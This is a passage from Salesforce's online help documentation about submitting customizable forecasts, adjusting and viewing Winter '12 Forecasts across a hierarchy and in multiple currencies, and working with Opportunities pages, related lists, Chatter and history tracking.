Description The comments you enter when overriding your forecast. Category determined by the opportunity Stage value. Options are: Omitted means the amount does not contribute to your forecast. Pipeline includes amounts from all open opportunities. Best Case includes amounts you are likely to close, closed/won opportunity amounts, and amounts in the Commit category. Commit includes amounts you are confident about closing and closed/won opportunity amounts. Closed includes amounts for closed/won opportunities. Record that contributes to the forecast. This displays in the detail of a forecast amount.

Forecast Item

2250

Customizable Forecasts

Submitting Customizable Forecasts

Field
Revenue Quantity My Forecast Override Submitted By Type

Description The total expected revenue amount from the opportunities that fit in a given category. The total number of units that are forecasted to sell as part of the opportunities in a given category. The amount you enter when overriding a forecast amount. The user who submitted a forecast. Type of override. Options are Opportunity or Forecast Override.

Opportunity Forecast Fields


Opportunity Forecast Field
My Forecast Amount My Forecast Category My Forecast Comments My Forecast Period

Description The amount you enter when overriding your direct reports opportunity amount. The category selected when you override the category of an opportunity. The comments you enter when overriding one of your opportunities or the opportunity of a direct report. The period you selected when overriding a direct reports opportunity period.

Submitting Customizable Forecasts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To see forecasts of other users: To override your forecast: View All Forecasts Override Forecasts

Note: This information applies to Customizable Forecasting. For a comparison of the forecasting version differences, see What's the difference between the Forecasting features? On the Forecasts tab, your forecast totals are always available to you and users above you in your role hierarchy. However, forecast totals are only available in forecast history and reports after you submit them. You can submit your own forecast or any forecast data that has been manually shared with you and you have permission to submit. To submit your forecast:

2251

Forecasts

Forecasts Overview

1. Click Submit from your forecast on the Forecasts tab. 2. Click OK to confirm. Salesforce takes a snapshot of your forecast totals and makes them available in reports and your forecast history.

See Also:
Tip sheet: Using Customizable Forecasts Administrator tip sheet: Setting Up Customizable Forecasting Do I Have Customizable Forecasting? Managing Customizable Forecasts Viewing Customizable Forecasts

FORECASTS
Forecasts Overview
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to the Winter '12 release of Forecasts. If you're using customizable forecasts, see the topic Customizable Forecasting Home. For an overview of the forecasting version differences, see What's the difference between the Forecasting features? Using Forecasts, you can predict and plan your sales cycle from pipeline to closed sales, and manage sales expectations throughout your organization. A forecast is an expression of expected sales revenue based on the gross rollup of a set of opportunities. A forecast includes any adjustments made by you or your subordinates. Forecasts are organized by forecast category and period in the rollup table on the forecasts page. Here, you can view forecasts and related opportunities by forecast category for just one person or everyone below you in the forecast hierarchy. For example, you can see the July Best Case forecast for all the sales managers who report to you, all the sales reps who report to any one of your managers, or just one individual. With forecasts, you have the flexibility to perform many tasks. Forecasts contain: Interactive, expandable tables that let you select and view your own forecasts and those of your subordinates. Forecast summary information for single months and a multi-month range, for each forecast category. List of related opportunities that updates dynamically according to your forecast selection. Easy adjustments ability and access to related details, including who made adjustments and original forecast amounts. Access to opportunity records, right from the forecasts page. Support for multiple currencies.

The feature works with your organization's forecasts hierarchy. You can view the forecasts and related opportunities of your subordinates at all levels of the hierarchy, and adjust the forecasts of subordinates one level beneath you. The user interface makes it simple to conduct status calls with your sales team because you can move around it with ease. If your organization is

2252

Forecasts

Understanding the Elements of a Forecast

set up for multicurrency, you can view forecasts in any active currency. Forecasts use your organization's corporate currency by default, but users can select a display currency from any of your organization's active currencies.

See Also:
Understanding the Elements of a Forecast Setting Up Forecasts Working With Forecasts Forecasts Hierarchy Overview Forecasts Adjustments Overview Viewing Opportunity Detail from a Forecast Refreshing Forecasts Working With Multiple Currencies in Forecasts

Understanding the Elements of a Forecast


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to the Winter '12 release of Forecasts. If you're using customizable forecasts, see the topic Customizable Forecasting Home. For an overview of the forecasting version differences, see What's the difference between the Forecasting features? The Forecasts feature is designed to help you easily find and communicate opportunity and forecast information. This table explains what a forecast is and defines the elements that affect and contribute to a forecast. Concept Adjustment Definition A layer of detail you can add to a forecast. An adjustment shows your judgment about the final amount you expect the forecast's opportunities to bring in at the close of the forecast period. You can adjust forecasts that include gross opportunity amounts only and also adjust forecasts that have already been adjusted by someone else in your sales team. Remember that an adjustment doesn't change the underlying gross rollupit just adds a layer of detail. You can view adjustments your subordinates make at every level of the forecast hierarchy. You can adjust the forecasts of your subordinates one level beneath you in the forecast hierarchy for the Commit and Best Case categories. You can't adjust your own forecasts directly, but adjustments you make to your subordinates' forecasts roll up into your own forecasts. In some cases a forecast amount will be the same before and after adjustments are made. For example, your subordinate adjusts a forecast to reflect additional revenue and then you adjust it back to the original amount.

2253

Forecasts

Understanding the Elements of a Forecast

Concept Forecast

Definition A forecast is an expression of expected sales revenue based on the gross rollup of a set of opportunities. A forecast includes any adjustments made by you or your subordinates. Forecasts are organized by forecast category and period in the rollup table on the forecasts page. Here, you can view forecasts and related opportunities by forecast category for everyone below you in the forecast hierarchy or just one person. For example, you can see the July Best Case forecast for all the sales managers who report to you, all the sales reps who report to any one of your managers, or just one individual. A forecast category is the category within the sales cycle that an opportunity is assigned to based on its opportunity stage. The standard forecast categories are Pipeline, Best Case, Commit, Omitted, and Closed. You can customize forecast category names for your organization. The forecast categories display information for that specific category only; for example, Best Case reflects amounts in the Best Case category only. The forecast hierarchy is a nested, expandable list of forecasts users. It determines how forecasts roll up within the organization, and who can view and adjust them. When the Forecasts feature is enabled for your organization, a forecast hierarchy is automatically generated based on your role hierarchy, but you may need to add or remove managers, sales reps, or other users. A forecasts-enabled user who owns opportunities or is a forecast manager in the forecast hierarchy. Forecasts managers can have their own opportunities. An expression of expected sales revenue based on the gross value of a set of opportunities. A forecast always includes a gross rollup amount and may also include one or more adjustments. The current stage of an opportunity, such as Prospect or Proposal. Opportunity stage values correlate with forecast category values to determine how the opportunity contributes to a forecast. The total expected revenue amount from the opportunities that fit in a given category. The table at the top of a forecasts page. The Opportunities list at the bottom of the forecasts page corresponds dynamically with selections on the rollup table.

Forecast Category

Forecast Hierarchy

Forecast Owner

Gross Rollup

Opportunity Stage

Revenue Rollup Table

2254

Forecasts

Working With Forecasts

Concept Subordinate

Definition A Forecasts user one or more levels beneath you in the forecast hierarchy. You can view all of your subordinates' forecasts. If your organization enables adjustments, you can view all of your subordinates' adjustment information and you can adjust the forecasts of subordinates one level beneath you in the hierarchy. Forecast amounts and adjustments roll up into the forecasts on your forecasts page.

See Also:
Forecasts Overview Working With Forecasts

Working With Forecasts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to the Winter '12 release of Forecasts. If you're using customizable forecasts, see the topic Customizable Forecasting Home. For an overview of the forecasting version differences, see What's the difference between the Forecasting features? To view a forecast, click the Forecasts tab. The Forecasts page allows you to perform tasks, such as editing, directly within the page. The page contains two sections. One displays forecast information and another displays the associated opportunities for the forecasts. You can perform the following tasks on the Forecasts page. Look at Amounts in Your Currency to see your current currency settings (if multiple currencies is enabled for your organization). Click Change to change your currency if you have multiple currencies enabled. Refresh forecasts by clicking Refresh. View first-level subordinates' forecast information for a specific month by clicking .

Hide details for a specific month by clicking . View a subordinate's forecast detail by hovering over the row and clicking View Forecasts >>. Display the opportunities for a person, specific month, or range of months by clicking on a row; the opportunities display on the lower section of the page. Display the opportunities for a specific forecast category or item by clicking on a forecast amount. Hide the opportunities pane on the Forecasts page by clicking Hide. Display the opportunities pane on the Forecasts page by clicking Show. Adjust the height of the opportunities pane by hovering over the divider bar. Sort opportunities in the opportunities pane by clicking on a column heading. View an opportunity's detail by clicking on an opportunity name. Edit an opportunity in the opportunities pane by clicking Edit. View the account detail for an opportunity by clicking on the account name in the opportunity pane.

2255

Forecasts

Forecasts Hierarchy Overview

View the profile of the opportunity owner by clicking on the owner's name in the opportunity pane. Adjust a subordinate's forecast by hovering over an amount and clicking . next to it. .

View information for adjustments you've made by hovering over an amount that contains

View information for adjustments your subordinates have made by hovering over an amount that contains

See Also:
Forecasts Overview Forecasts Adjustments Overview Adjusting Forecasts Viewing and Editing Adjustments Understanding Adjustments Purges Editing Opportunities From a Forecasts Page Working With Multiple Currencies in Forecasts Refreshing Forecasts

Forecasts Hierarchy Overview


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to the Winter '12 release of Forecasts. If you're using customizable forecasts, see the topic Customizable Forecasting Home. For an overview of the forecasting version differences, see What's the difference between the Forecasting features? The forecast hierarchy is a nested, expandable list of forecasts users. It determines how forecasts roll up within the organization, and who can view and adjust them. Based on your role, you can be added to or removed from the forecast hierarchy, or, your position within the hierarchy can change. For example, you might be a sales representative with no direct reports, so you can only view your own forecast. However, if your role changes and you become a sales manager, you could be added to the forecast hierarchy as a forecast manager. Users designated as forecast managers can view the forecasts and opportunities of users below them in the forecast hierarchy. Forecast managers can also adjust the forecasts of direct reports. Only managers who made an adjustment and those above them in the hierarchy can view the adjustment.

See Also:
Forecasts Adjustments Overview Working With Forecasts

Forecasts Adjustments Overview

2256

Forecasts

Forecasts Adjustments Overview

Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to the Winter '12 release of Forecasts. If you're using customizable forecasts, see the topic Customizable Forecasting Home. For an overview of the forecasting version differences, see What's the difference between the Forecasting features? You must be a forecast manager to adjust forecasts; additionally, adjustments must be turned on for your organization. An adjustment shows your judgment about the final amount you expect the forecast's opportunities to bring in at the close of the forecast period. You can adjust forecasts that include gross opportunity amounts only and also adjust forecasts that have already been adjusted by someone else in your sales team. Remember that an adjustment doesn't change the underlying gross rollupit just adds a layer of detail. You can view adjustments your subordinates make at every level of the forecast hierarchy. You can adjust the forecasts of your subordinates one level beneath you in the forecast hierarchy for the Commit and Best Case categories. You can't adjust your own forecasts directly, but adjustments you make to your subordinates' forecasts roll up into your own forecasts. In some cases a forecast amount will be the same before and after adjustments are made. For example, your subordinate adjusts a forecast to reflect additional revenue and then you adjust it back to the original amount. Your own forecasts page shows all of your forecasts and their related opportunity details. When you view a subordinate's forecasts page, you'll see the information from his or her view. Any adjustments you make on your own forecasts page don't appear on the subordinate's forecasts page. Instead, you see that user's forecasts and any adjustments he or she has made. For example, if you're a vice president of sales, on your own forecasts page, you might see a July Best Case forecast of $1250 (including an adjustment you made) for one of your first-level subordinates, a sales manager. However, when you view the sales manager's forecasts page, the July Best Case forecast might be $1200, because it doesn't include your adjustment. Note: While you're viewing a forecasts page, your subordinates may be editing related opportunities or adjusting the forecasts of their own subordinates. Or you may adjust one of your subordinates' forecasts from your own page. All of these events change forecast amounts. See Refreshing Forecasts for additional information. This table outlines who can view and adjust your forecasts. User Your manager's manager Your manager You Your direct report Your non-direct report subordinate Can view your forecasts? Yes Yes Yes No No Can adjust your forecasts? No Yes No. Adjustments to all your subordinates' forecasts roll up to your forecast summary rows for each month and the period range. No No

This table defines whose forecasts you can view and adjust.

2257

Forecasts

Forecasts Adjustments Overview

User Your manager's manager Your manager You Your direct report

Can you view forecasts? No No Yes

Can you adjust forecasts? No No No. Adjustments to all your subordinates' forecasts roll up to your forecast summary rows for each month and the period range.

Yes. However, Yes when you select a first-level subordinate to view his or her forecasts page, your own adjustments are not visible. You see the same view that the subordinate sees. Yes. You see the No. Your direct reports can adjust their own direct reports' forecasts. same view that the subordinate sees.

Your non-direct report subordinate

If a forecast contains adjustments, you'll see one or more icons next to the amount. Here's what they mean. Icon Definition You adjusted the forecast. You'll see this indicator only on your own forecasts page because when you drill down to another user's page, you see the page as that user sees it. One of your subordinates adjusted the forecast. You'll see this indicator on both your own and your subordinates' forecasts pages. Both you and one or more subordinates adjusted the forecast. You'll see this indicator only on your own forecasts page because when you drill down to a subordinate's page, you see the page as that user sees it. Save your adjustment. Undo your adjustment and restore the previous value of the forecast. Hover over the button to see a tool tip that tells you if the previous value includes an adjustment.

2258

Forecasts

Adjusting Forecasts

Icon remove

Definition Remove your adjustment and restore the previous value, which may include someone else's adjustment.

See Also:
Adjusting Forecasts Viewing and Editing Adjustments Understanding Adjustments Purges Forecasts Hierarchy Overview Working With Forecasts

Adjusting Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To use Forecasts: To adjust Forecasts: Allow Forecasting Override Forecasts

Note: This information applies to the Winter '12 release of Forecasts. If you're using customizable forecasts, see the topic Customizable Forecasting Home. For an overview of the forecasting version differences, see What's the difference between the Forecasting features? You must be a forecast manager to adjust forecasts; additionally, adjustments must be turned on for your organization. An adjustment shows your judgment about the final amount you expect the forecast's opportunities to bring in at the close of the forecast period. You can adjust forecasts that include gross opportunity amounts only and also adjust forecasts that have already been adjusted by someone else in your sales team. Remember that an adjustment doesn't change the underlying gross rollupit just adds a layer of detail. 1. When you find a forecast you want to adjust, hover over its cell and click . 2. Enter your adjustment in the field and click . A white dot ( ) appears next to the amount to show that you have adjusted the forecast, and the adjustment rolls up to the month and period range total rows on the page.

See Also:
Forecasts Adjustments Overview Viewing and Editing Adjustments Understanding Adjustments Purges Working With Multiple Currencies in Forecasts

2259

Forecasts

Viewing and Editing Adjustments

Viewing and Editing Adjustments


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To use Forecasts: To adjust Forecasts: Allow Forecasting Override Forecasts

Note: This information applies to the Winter '12 release of Forecasts. If you're using customizable forecasts, see the topic Customizable Forecasting Home. For an overview of the forecasting version differences, see What's the difference between the Forecasting features? You must be a forecast manager to adjust forecasts; additionally, adjustments must be turned on for your organization. You can view details about forecast adjustments that you or others have made, including who made the adjustments, the adjusted amounts, and the original gross rollup (the forecast amount before adjustments). You can also edit adjustments that you've made. 1. Expand the table to find the adjusted forecast that you want to view. An indicator displays next to adjusted forecasts. 2. Hover over the cell to view adjustment detail information. 3. Double-click the cell or click to edit or remove any adjustments that you made.

See Also:
Forecasts Adjustments Overview Adjusting Forecasts

Viewing Opportunity Detail from a Forecast


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to the Winter '12 release of Forecasts. If you're using customizable forecasts, see the topic Customizable Forecasting Home. For an overview of the forecasting version differences, see What's the difference between the Forecasting features? From your forecasts detail page or the page of any subordinate, you can view the opportunities that make up a forecastfor a month or month range, for all your subordinates or just one. Opportunities appear below the rollup table in a list that responds to your selection. You can sort the opportunities by header. Follow these guidelines for viewing forecast opportunity detail. To view opportunities in all forecast categories for a month or month range, click its table row. All opportunities in all categories appear in the opportunities list.

2260

Forecasts

Editing Opportunities From a Forecasts Page

To view opportunities in any single forecast category for a single month or month range, click its cell within the row. The opportunities in that category appear in the opportunities list. To view the opportunities of a subordinate within a single month, click the subordinate's row within that month. To sort the opportunities list, click the header of any column. Most columns are sorted alphanumerically, but the Category column is sorted by closest to or furthest from closing. To move through a list that's longer than a page, click Previous and Next or enter a page number in the Page field. To edit an opportunity that appears in the list, click Edit next to its name. To see any Chatter posts related to the opportunity, click the opportunity's Opportunity Name link to go to its detail page. Click Show Chatter. Click Follow if you want Chatter notifications about all of the opportunity's activity.

See Also:
Editing Opportunities From a Forecasts Page Working With Forecasts

Editing Opportunities From a Forecasts Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To use Forecasts: Allow Forecasting

Note: This information applies to the Winter '12 release of Forecasts. If you're using customizable forecasts, see the topic Customizable Forecasting Home. For an overview of the forecasting version differences, see What's the difference between the Forecasting features? From your own forecasts page or the page of any subordinate, you can edit the opportunities that contribute to a forecast. When you finish, refresh the forecasts page to see your updates. 1. On your forecasts page, find the opportunity you want and click Edit. 2. Edit the opportunity and click Save. 3. On the forecasts page, click Refresh to see the changes in the Opportunities list and the forecast table.

See Also:
Viewing Opportunity Detail from a Forecast

Understanding Adjustments Purges

2261

Forecasts

Understanding Adjustments Purges

Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to the Winter '12 release of Forecasts. If you're using customizable forecasts, see the topic Customizable Forecasting Home. For an overview of the forecasting version differences, see What's the difference between the Forecasting features? An adjustment shows your judgment about the final amount you expect the forecast's opportunities to bring in at the close of the forecast period. You can adjust forecasts that include gross opportunity amounts only and also adjust forecasts that have already been adjusted by someone else in your sales team. Remember that an adjustment doesn't change the underlying gross rollupit just adds a layer of detail. Adjustments can be purged from forecasts; when this occurs, the underlying data on which the forecasts were based remains untouched. Adjustment purges happen if: Your administrator disables Forecasts. Your administrator disables adjustments. You are no longer a forecast manager; only adjustments you made are purged. Your organization uses corporate currency mode and the corporate currency changes. Your organization uses personal currency mode, and your personal currency changes; only adjustments you made are purged. Your organization switches between personal currency mode to corporate currency mode.

See Also:
Forecasts Adjustments Overview Adjusting Forecasts

Working With Multiple Currencies in Forecasts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to the Winter '12 release of Forecasts. If you're using customizable forecasts, see the topic Customizable Forecasting Home. For an overview of the forecasting version differences, see What's the difference between the Forecasting features? This information assumes that your organization uses multiple currencies. When you set up Forecasts for your organization, you choose a forecast currency. The forecast currency is either your organization's corporate currency or each forecast owner's personal currency. The choice determines in what currency a person can make forecast adjustments. However, users can display forecasts amounts in any currency enabled for the organization, regardless of the forecast currency setting. For example, say you are a forecast manager and your organization's corporate currency is U.S. dollars. Additionally, the organization has enabled three other currencies. You and your subordinates have the option of displaying your respective forecasts in the corporate currency or one of the other three currencies enabled for your organization. At the top of the Forecasts page, click either Change or Change to Adjust Forecasts to display a currency selection box and select a currency in which to display your forecast. The default display currency in this case is the corporate currency. If you are a forecast manager and

2262

Forecasts

Working With Multiple Currencies in Forecasts

select anything other than the corporate currency, you can't adjust forecasts. However, you can go back and update your selection at any time. If your organization uses the forecast owner's personal currency (rather than the corporate currency) for the forecast currency, users can still select any of the enabled currencies to display in forecasts. However, in this case, adjustments will need to be made in the forecast owner's personal currency.

Example 1
Say you're a forecast manager and: Your organization's corporate currency is the U.S. dollar. Your organization has enabled the Taiwanese dollar. The forecast currency is set to corporate currency.

To understand what you'll see, refer to this table: If... Your forecast display currency is US dollars. You can... Adjust forecasts. From your own forecast, view the forecast amounts of subordinates in your display currency (US dollars). Switch to the corporate currency of U.S. dollars to make an adjustment. From your own forecast, view the forecast amounts of subordinates in your display currency (Taiwanese dollars).

Your forecast display currency is Taiwanese dollars.

Example 2
In this example, you might be a forecast manager and: Your organization's corporate currency is the U.S. dollar. Your organization has enabled the Indian rupee and Canadian dollar. The forecast currency is set to personal currency. Your personal currency is Canadian dollars.

To understand what you'll see, refer to this table: If... Your forecast display currency is Canadian dollars. You can... Adjust forecasts. From your own forecast, view the forecast amounts of subordinates in your display currency (Canadian dollars). Switch to the personal currency of Canadian dollars to make an adjustment. From your own forecast, view the forecast amounts of subordinates in your display currency (Indian rupees).

Your forecast display currency is Indian rupees.

2263

Forecasts

Refreshing Forecasts

When you view the forecast of someone who uses a different forecast currency than you, an page. Hover over it to see in what currency that user forecasts.

displays near the top of the

Rate Changes and Currencies


When working with currencies in Forecasts, keep the following in mind: When currency rates change, opportunities and adjustments roll up with the changed value. You'll see the processing indicator ( ) as we roll up changed values. All forecast periods (historical, current, and future) are impacted by rate changes. Deactivating a currency that is set as a users personal currency automatically resets the users currency to the corporate currency.

Tips
The forecast currency default setting is determined by your administrator and will be either your organization's corporate currency or your personal currency. You can see what the forecast default currency setting is by clicking either Change or Change to Adjust Forecasts at the top of the page. Your forecast display currency is set by you and can be any currency enabled by your organization; if you're a forecast manager and want to adjust forecasts, set your display currency to the forecast currency default. If you're a forecast manager and can't adjust an amount (even if you previously made adjustments), check your forecast display currency by clicking Change to Adjust Forecasts at the top of the page. The display currency selection box indicates in what currency you must display to adjust forecasts.

See Also:
Forecasts Overview Forecasts Adjustments Overview

Refreshing Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to the Winter '12 release of Forecasts. If you're using customizable forecasts, see the topic Customizable Forecasting Home. For an overview of the forecasting version differences, see What's the difference between the Forecasting features? While you're viewing a forecasts page, your subordinates may be editing related opportunities or adjusting the forecasts of their own subordinates. Or you might be adjusting one of your subordinates' forecasts from your own page. All of these events can change forecast amounts. When any opportunity update or forecast adjustment occurs for a forecast you've selected in a rollup table, we let you know. Here's how. If the selected forecast has adjustments in process (your own or your subordinate's), you'll see a processing indicator ( ) next to the forecast. If any of the selected forecast's related opportunities have been updated, you'll also see the processing indicator in the header of the opportunities list.

2264

Opportunities

Opportunities Overview

A message, Processing Changes, appears in the opportunities list header.

To see the changes, you need to click Refresh. For example, while Gordon Johnson is viewing his team's forecasts for December, his subordinate Renee Reynolds edits an opportunity she expects to close in December. The opportunity is currently in the Commit forecast category. Renee changes the opportunity amount from $2500 to $2600. This change affects her December forecast, increasing the amount by $100. When Gordon clicks the forecasts table cell for Renee's December commit forecast, the processing indicator appears within that cell. The indicator tells him that Renee made a change that affects the forecast. He sees the same processing indicator on the opportunities list, so he knows Renee edited an opportunity. He clicks Refresh. The opportunity amount changes from $2500 to $2600, and Renee's Commit forecast for December reflects the $100 increase.

See Also:
Forecasts Adjustments Overview Understanding Adjustments Purges

OPPORTUNITIES
Opportunities Overview
Available in: All Editions that signed up prior to Summer '09 Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer '09 Not Available in Database.com

Opportunities are the sales and pending deals that you want to track. By adding opportunities, you are also building your pipeline, which will contribute to your forecast. You can also link opportunities to campaigns to help measure the ROI of your marketing programs. In addition, you can create quotes, which show proposed prices for products and services, from an opportunity. The Opportunities tab displays a home page that lets you quickly create and locate opportunities. You can also sort and filter opportunities using standard and custom list views. In addition, this tab lets you view and edit detailed information on each opportunity to which you have access.

See Also:
Opportunities Home Viewing Opportunity Lists

Opportunities Home
2265

Opportunities

Opportunities Home

Available in: All Editions that signed up prior to Summer '09 Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer '09 Not Available in Database.com

User Permissions Needed To view Opportunities tab: To view opportunities: To create opportunities Read on opportunities Read on opportunities Create on opportunities

Clicking on the Opportunities tab displays the opportunities home page. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. In the Recent Opportunities section, select an item from the drop-down list to display a brief list of the top opportunities matching that criteria. From the list, you can click any opportunity name to go directly to the opportunity detail. Toggle the Show 25 items and Show 10 items links to change the number of items that display. The fields you see are determined by the Opportunities Tab search layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer Editions only). The Recent Opportunities choices are: Recent Opportunities Choice Recently Viewed Description The last ten or twenty-five opportunities you viewed, with the most recently viewed opportunity listed first. This list is derived from your recent items and includes records owned by you and other users. The last ten or twenty-five opportunities you created, with the most recently created opportunity listed first. This list only includes records owned by you. The last ten or twenty-five opportunities you updated, with the most recently updated opportunity listed first. This list only includes records owned by you.

Recently Created

Recently Modified

Under Quick Create, fill in the fields to add a new opportunity. Alternatively, click New next to the Recent Opportunities section to create a new opportunity. Under Reports, click any report name to jump to that report. In opportunity reports, you can filter opportunities by the sales teams in which you are a member. In the Quarterly Summary section, select values and click Run Report to view a quarterly opportunity summary.

2266

Opportunities

Viewing Opportunity Lists

If opportunities are shared with external contacts via Salesforce to Salesforce, choose one of the list views under Opportunities from Connections to view opportunities that your business partners have shared with you.

See Also:
Opportunities Overview Using Opportunities Creating Opportunities Cloning Opportunities Deleting Opportunities Searching for Opportunities Creating Custom List Views

Viewing Opportunity Lists


Available in: All Editions that signed up prior to Summer '09 Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer '09 Not Available in Database.com

User Permissions Needed To view opportunity lists: To create opportunities: Read on opportunities Create on opportunities

The opportunities list page displays a list of opportunities in your current view. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click an opportunity name to view the detail. Click Edit or Del to edit or delete an opportunity. If Chatter is enabled, click or to follow or stop following an opportunity in your Chatter feed. If Chatter is enabled, click Chatter in the top-right corner to see feed updates for the list view. Click List to toggle back to the list view. To create an opportunity, either click New Opportunity at the top of the list, or select Opportunity from the Create New drop-down list in the sidebar. In a custom list view, you can filter opportunity lists by the sales teams you belong to. When creating or editing a custom list view for opportunities, select the My Sales Teams filter.

Sorting List Views


Click any column heading to sort in ascending or descending order using that columns information. At the top of the list, click a letter to display the contents of the sorted column that begin with that character. The alphabetic navigator isn't shown

2267

Opportunities

Using Opportunities

if the list view doesn't support column sorting. If your language or the sorted column doesn't support alphabetic sorting, the navigator is disabled. For example, you can't click letters to sort on date fields. Figure 20: Alphabetic Navigator Note: In Enterprise, Unlimited, and Developer Edition organizations, you can grant additional access to your opportunities beyond what the sharing model allows. See Sharing Opportunities. In Professional Edition organizations, to allow additional access to your opportunities, you can share the account associated with the opportunity. See Sharing Accounts.

See Also:
Customizing User Interface Settings Working with Enhanced Lists Using Inline Editing in Lists Printing List Views Creating Custom List Views

Using Opportunities
Available in: All Editions that signed up prior to Summer '09 Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer '09 Not Available in Database.com

User Permissions Needed To view opportunities: To change opportunities: Read on opportunities Edit on opportunities

Opportunities track your sales and pending deals. View and edit opportunity details Find opportunity-related information (for example, open activities) View opportunity updates and comments (Chatter) Link opportunities to campaigns to help measure marketing program ROI (Campaign Influence)

2268

Opportunities

Viewing and Editing Opportunity Details

Create quotes to show proposed prices for products and services

See Also:
Opportunity Fields Tagging Records Cloning Opportunities Sharing Opportunities What is Campaign Influence? Quotes Overview

Viewing and Editing Opportunity Details


Available in: All Editions that signed up prior to Summer '09 Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer '09 Not Available in Database.com

User Permissions Needed To view opportunities: To change opportunities: Read on opportunities Edit on opportunities

Once you have located an opportunity on the Opportunities home or list pages, click the opportunity name to display detailed information. Use inline editing to edit fields directly on the detail page. If inline editing isn't enabled, contact your administrator. To display the page in edit mode, click Edit, make your changes, and click Save. To save the current opportunity and create another one, click Save & New. To open a printable display of the record details, in the top-right corner of the page, click Printable View. Note: When you set an open opportunity's Stage to a type of Closed/Won, the Close Date is set to the current date.

Finding Opportunity-Related Information (Related Lists)

2269

Opportunities

Finding Opportunity-Related Information (Related Lists)

Available in: All Editions that signed up prior to Summer '09 Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer '09 Not Available in Database.com

User Permissions Needed To view opportunities: To change opportunities: Read on opportunities Edit on opportunities

Related lists, such as Open Activities, display information related to an opportunity. Hover over the links at the top of a detail page to display the corresponding related list and its records. If Chatter is enabled, hover links display below the feed. An interactive overlay allows you to quickly view and manage the related list items. Click a hover link to jump to the content of the related list. If hover links are not enabled, contact your Salesforce administrator. If hover details are enabled, hover over any lookup field on the detail page to view key information about a record before clicking into that record's detail page. To directly add new items, click New (or the equivalent button) at the top of a related list. For example, to add a new contact to the Contacts related list, click New Contact. To change the number of records shown for related lists, click View More below a related list, or click fewer or more at the bottom of the page.

Viewing Related Lists


The related lists you see are determined by your: Personal customization Administrator's page layout customizations Permissions to view related data

See Also:
Quotes Related List Stage History Products Related List Adding Sales Team Members Opportunity Forecasts What is Campaign Influence?

Viewing Opportunity Updates (Chatter)

2270

Opportunities

Viewing Opportunity Updates (Chatter)

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Display a Chatter feed of updates, comments, and posts about the opportunity. Note: If Chatter isn't enabled, contact your administrator.

Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed. To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full feed, above the update, click All Updates.

Following Opportunities
When you follow an opportunity, your Chatter feed includes field changes and opportunity feed updates. To follow an opportunity, click Follow. To stop following, click Following . The Followers list shows you who is following the opportunity. To view a full list, click Show All. You automatically follow records you own. To disable this feature, go to Your Name > Setup > My Chatter Settings > My Feeds, select Stop automatically following records, and then click Save.

See Also:
Chatter Overview Using Chatter Feeds

Opportunity Field History


Available in: All Editions that signed up prior to Summer '09 Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer '09 Not Available in Database.com

User Permissions Needed To view opportunities: Read on opportunities

The Opportunity Field History related list of an opportunity detail page tracks the changes to the opportunity. Any time a user modifies any of the standard or custom fields whose history is set to be tracked on the opportunity, a new entry is added to the Opportunity Field History related list. All entries include the date, time, nature of the change, and who made the change. Modifications to the related lists on the opportunity are not tracked in the opportunity field history. See Tracking Field History for information about which fields are tracked.

2271

Opportunities

Stage History

Note: For information on tracking changes in opportunity status, see Stage History.

Stage History
Available in: All Editions that signed up prior to Summer '09 Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer '09 Not Available in Database.com

User Permissions Needed To view opportunity stage history: Read on opportunities

The Stage History related list of an opportunity detail page tracks the changes in status for that opportunity. Any time you change the Amount, Probability, Stage, or Close Date for the opportunity, a new entry is added to the list with the name of the person that made the change and a date stamp. For information on tracking changes to any standard or custom field on an opportunity, see Opportunity Field History. For information on tracking changes in status for standard and custom opportunity fields using reports and dashboards, see Setting Up Analytic Snapshots.

See Also:
Using Opportunities

Products Related List


Available in: Professional, Enterprise, Unlimited, and Developer Editions

The Products related list of an opportunity detail page lists the products included on that opportunity. If the opportunity is synced to a quote, products in the list are updated whenever a change is made to the quote's line items, and vice versa. Your administrator can customize the product edit and detail pages that you see when you select a product on an opportunity by clicking Your Name > Setup > Customize > Opportunities > Opportunity Products > Page Layouts. See Managing Page Layouts for instructions on creating and customizing your own page layouts.

See Also:
Choosing a Price Book for an Opportunity or Quote Adding Products to Opportunities Using Opportunities

2272

Opportunities

Quotes Related List

Quotes Related List


Available in: Professional, Enterprise, Unlimited, and Developer Editions

The Quotes related list of an opportunity detail page lists the quotes created for that opportunity and identifies which quote is synced, if any. Your administrator can customize the Quote edit and detail pages that you see when you select a quote by clicking Your Name > Setup > Customize > Quotes > Quote Lines > Page Layouts. See Managing Page Layouts on page 1188 for instructions on creating and customizing your own page layouts.

Opportunity Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

